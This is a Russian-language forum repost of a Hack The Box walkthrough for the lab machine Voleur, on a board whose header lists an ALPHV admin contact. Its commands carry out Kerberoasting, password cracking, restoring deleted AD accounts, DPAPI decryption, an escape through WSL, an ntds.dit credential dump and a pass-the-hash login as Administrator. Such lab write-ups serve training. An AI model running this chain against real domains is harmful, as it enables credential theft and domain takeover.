• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Выходим из окружения WSL и повышаем привилегии на сервере

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,409
Розыгрыши
0
Реакции
732
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как можно выйти из Windows Subsystem for Linux, если мы получили доступ только к этому окружению. Также расшифруем документ, восстановим учетную запись из корзины Active Directory и извлечем данные DPAPI для получения учетки.
Наша конечная цель — получение прав суперпользователя на машине Voleur с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень сложности задания — средний.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.76 voleur.htb
Кроме IP машины, нам известны учетные данные пользователя домена.

Для просмотра ссылки Войди или Зарегистрируйся
Запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди или Зарегистрируйся
Сканер нашел 12 открытых портов:

  • 88 — Kerberos;
  • 135 — Microsoft RPC;
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 2222 — сервер OpenSSH;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5985 — WinRM.

Точка входа​

Проверим выданные нам учетные данные с помощью Для просмотра ссылки Войди или Зарегистрируйся.

nxc smb 10.10.11.76 -u ryan.naylor -p HollowOct31Nyt
Для просмотра ссылки Войди или Зарегистрируйся
В ответе получаем ошибку STATUS_NOT_SUPPORTED, а значит, будем использовать аутентификацию Kerberos. Для этого обновим файл /etc/hosts и добавим туда новый поддомен.

10.10.11.76 voleur.htb dc.voleur.htb
Теперь можно обратиться к LDAP и запросить список пользователей. Иногда в описании учетных записей можно найти полезную информацию.

faketime -f '+8h' nxc ldap 10.10.11.76 -u ryan.naylor -p HollowOct31Nyt -k
Для просмотра ссылки Войди или Зарегистрируйся
Аутентификация пройдена, теперь просмотрим список общих каталогов SMB.

faketime -f '+8h' nxc smb dc.voleur.htb -u ryan.naylor -p HollowOct31Nyt -k --shares
Для просмотра ссылки Войди или Зарегистрируйся
Нам доступен для чтения каталог IT; вероятно, там есть что‑то полезное. Используем Для просмотра ссылки Войди или Зарегистрируйся, чтобы подключиться к общему каталогу и посмотреть файлы. На сервере находим только один документ XLSX, который скачиваем на свою машину.

faketime -f '+8h' smbclientng -d voleur.htb --host dc.voleur.htb -u ryan.naylor -p HollowOct31Nyt -k --kdcHost dc.voleur.htb
Для просмотра ссылки Войди или Зарегистрируйся
Получить данные из таблицы мы не можем, так как документ защищен паролем.

Для просмотра ссылки Войди или Зарегистрируйся
Получим из файла хеш для подбора пароля. Сделать это можно скриптом Для просмотра ссылки Войди или Зарегистрируйся.

Для просмотра ссылки Войди или Зарегистрируйся
А теперь подберем пароль к документу с помощью John the Ripper, это происходит очень быстро.

john --wordlist=rockyou.txt hash.txt
Для просмотра ссылки Войди или Зарегистрируйся
Открываем документ и видим там несколько пар учетных данных.

Для просмотра ссылки Войди или Зарегистрируйся

Точка опоры​

Снова обращаемся к LDAP и запрашиваем список пользователей. Иногда в описании учетных записей можно найти полезную информацию.

faketime -f '+8h' nxc ldap 10.10.11.76 -u ryan.naylor -p HollowOct31Nyt -k
Для просмотра ссылки Войди или Зарегистрируйся
Список пользователей сохраняем в файл, после чего проверяем найденные пароль и другие учетные данные.

faketime -f '+8h' nxc ldap 10.10.11.76 -u users.txt -p NightT1meP1dg3on14 -k

faketime -f '+8h' nxc ldap 10.10.11.76 -u svc_ldap -p M1XyC9pW7qT5Vn -k

faketime -f '+8h' nxc ldap 10.10.11.76 -u svc_iis -p N5pXyW1VqM7CZ8 -k
Для просмотра ссылки Войди или Зарегистрируйся
Соберем информацию о домене с помощью Для просмотра ссылки Войди или Зарегистрируйся.

Справка: BloodHound​

Утилита Для просмотра ссылки Войди или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для разных ОС и на разных языках программирования.
Собирать данные будем с помощью Для просмотра ссылки Войди или Зарегистрируйся. Эта версия коллектора может использовать аутентификацию Kerberos. Внесем информацию о целевом домене в файл /etc/krb5.conf.

[domain_realm]
.voleur.htb = VOLEUR.HTB
voleur.htb = VOLEUR.HTB

[libdefaults]
default_realm = VOLEUR.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 24h
forwardable = true

[realms]
VOLEUR.HTB = {
kdc = DC.VOLEUR.HTB
admin_server = DC.VOLEUR.HTB
default_domain = VOLEUR.HTB
}
Затем запросим TGT-билет пользователя и выполним подключение к службе LDAP.

faketime -f '+8h' getTGT.py voleur.htb/ryan.naylor:HollowOct31Nyt

KRB5CCNAME=ryan.naylor.ccache faketime -f "+8h" ./rusthound-ce -d voleur.htb -u ryan.naylor -f DC -k -z -c All
Для просмотра ссылки Войди или Зарегистрируйся
Как показывает граф BloodHound, учетная запись svc_ldap имеет право WriteSPN на учетную запись svc_winrm, которая состоит в группе REMOTE MANAGEMENT USERS.

Для просмотра ссылки Войди или Зарегистрируйся
Право WriteSPN позволяет нам записывать данные в ServicePrincipalName. То есть мы можем записать любые данные в этот атрибут учетки svc_winrm и затем провести атаку Kerberoasting для получения хеша пароля пользователя и дальнейшего подбора пароля. Изменить значение атрибута ServicePrincipalName можно с помощью bloodyAD.

faketime -f '+8h' bloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -k set object 'svc_winrm' servicePrincipalName -v 'test/DC.voleur.htb'

info​

Подробнее о технике Kerberoasting читай в статье «Для просмотра ссылки Войди или Зарегистрируйся».
Для просмотра ссылки Войди или Зарегистрируйся
Теперь выполним атаку Kerberoasting. Сделать это можно, используя утилиту NetExec.

faketime -f '+8h' nxc ldap 10.10.11.76 -u svc_ldap -p M1XyC9pW7qT5Vn -k --kerberoasting out.txt
Для просмотра ссылки Войди или Зарегистрируйся
Отправляем хеш на брут в hashcat и спустя несколько секунд получаем пароль.

hashcat out.txt rockyou.txt
Для просмотра ссылки Войди или Зарегистрируйся
Так как пользователь состоит в группе REMOTE MANAGEMENT USERS, мы можем получить сессию через WinRM. Запрашиваем TGT-билет, а затем авторизуемся с помощью Evil-WinRM.

faketime -f '+8h' getTGT.py 'voleur.htb/svc_winrm':AFireInsidedeOzarctica980219afi
Для просмотра ссылки Войди или Зарегистрируйся
KRB5CCNAME=svc_winrm.ccache faketime -f '+8h' evil-winrm -i dc.voleur.htb -r voleur.htb
Для просмотра ссылки Войди или Зарегистрируйся

Продвижение​

BloodHound ничего интересного не показывает, поэтому поищем права записи на другие объекты или их отдельные атрибуты с помощью bloodyAD.

faketime -f '+8h' bloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -k get writable --include-del
Для просмотра ссылки Войди или Зарегистрируйся
Как видно по выводу утилиты, у нас есть права записи на объект Todd Wolfe в контейнере Deleted Objects. В этом контейнере хранятся объекты из корзины Active Directory.

Корзина Active Directory выполняет те же функции, что и обычная корзина на компьютере, но только для объектов домена (однако по умолчанию эта функция отключена). Когда объект домена удаляется, он не исчезает полностью, а помечается как удаленный и перемещается в скрытый контейнер на 180 дней до полного удаления. При этом у объекта сохраняются все свойства, такие как членство в группах, списки ACL, SID History. Восстановить объект можно с помощью bloodyAD.

faketime -f '+8h' bloodyAD --host dc.voleur.htb -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -k set restore 'todd.wolfe'
Для просмотра ссылки Войди или Зарегистрируйся
В документе был пароль восстановленной учетной записи, его стоит проверить.

faketime -f '+8h' nxc ldap 10.10.11.76 -u todd.wolfe -p NightT1meP1dg3on14 -k
Для просмотра ссылки Войди или Зарегистрируйся
У новой учетной записи нет прав на другие объекты AD, но зато есть доступ к общему каталогу SMB.

faketime -f '+8h' nxc smb dc.voleur.htb -u todd.wolfe -p NightT1meP1dg3on14 -k --shares
Для просмотра ссылки Войди или Зарегистрируйся
Подключаемся к общему каталогу IT с помощью smbclient-ng и проверяем доступные файлы. В этом контексте у нас есть возможность получить доступ к домашнему каталогу пользователя.

faketime -f '+8h' smbclientng -d voleur.htb --host dc.voleur.htb -u todd.wolfe -p NightT1meP1dg3on14 -k --kdcHost dc.voleur.htb
Для просмотра ссылки Войди или Зарегистрируйся
Так как у нас есть пароль учетной записи, мы можем скачать зашифрованные файлы DPAPI и мастер‑ключи DPAPI и расшифровать их офлайн.

Для просмотра ссылки Войди или Зарегистрируйся
Теперь на своей машине с помощью скрипта impacket-dpapi расшифруем мастер‑ключ DPAPI.

dpapi.py masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -password 'NightT1meP1dg3on14' -sid S-1-5-21-3927696377-1337352550-2781715495-1110
Для просмотра ссылки Войди или Зарегистрируйся
С помощью мастер‑ключа теперь можно расшифровать сам блоб данных DPAPI.

dpapi.py credential -file 772275FAD58525253490A9B0039791D3 -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
Для просмотра ссылки Войди или Зарегистрируйся
Так мы получаем учетные данные пользователя jeremy.combs.


Локальное повышение привилегий​

В контексте новой учетной записи подключаемся к общему каталогу и находим там приватный SSH-ключ и какую‑то заметку.

faketime -f '+8h' smbclientng -d voleur.htb --host dc.voleur.htb -u jeremy.combs -p qT3V9pLXyN7W4m -k --kdcHost dc.voleur.htb
Для просмотра ссылки Войди или Зарегистрируйся
В заметке сказано, что администратор устал от бэкапов Windows и предлагает использовать WSL и инструменты из Linux. Windows Subsystem for Linux (WSL) — это технология Microsoft, которая позволяет запускать Linux-дистрибутивы прямо в Windows.

Для просмотра ссылки Войди или Зарегистрируйся
Из приватного ключа SSH получим имя учетной записи для подключения.

chmod 600 id_rsa
ssh-keygen -y -f ./id_rsa
Для просмотра ссылки Войди или Зарегистрируйся
Теперь авторизуемся по SSH и получим сессию внутри WSL.

ssh -i id_rsa svc_backup@voleur.htb -p 2222
Для просмотра ссылки Войди или Зарегистрируйся

WSL​

Так как в WSL сохраняются бэкапы с основной системы, первым делом просмотрим монтированные ресурсы в каталоге /mnt. Так получаем содержимое диска C.

Для просмотра ссылки Войди или Зарегистрируйся
Среди сохраненных файлов находим каталог Backups с копиями файлов ntds.dit, SYSTEM и SECURITY.

Для просмотра ссылки Войди или Зарегистрируйся
Копируем эти файлы в каталог /tmp, после чего скачиваем через scp.

cp /mnt/c/IT/Third-Line\ Support/Backups/Active\ Directory/ntds.dit /tmp/
cp /mnt/c/IT/Third-Line\ Support/Backups/registry/SYSTEM /tmp/

scp -i id_rsa -P 2222 svc_backup@voleur.htb:/tmp/ntds.dit ./
scp -i id_rsa -P 2222 svc_backup@voleur.htb:/tmp/SYSTEM ./
Из файла NTDS парсим учетные данные пользователей домена.

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Для просмотра ссылки Войди или Зарегистрируйся
С хешем пароля администратора получаем TGT-билет и авторизуемся по WinRM как Administrator.

faketime -f '+8h' getTGT.py voleur.htb/Administrator -hashes :e656e07c56d831611b577b160b259ad2

KRB5CCNAME=./Administrator.ccache faketime -f '+8h' evil-winrm -i dc.voleur.htb -r voleur.htb
Для просмотра ссылки Войди или Зарегистрируйся
Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу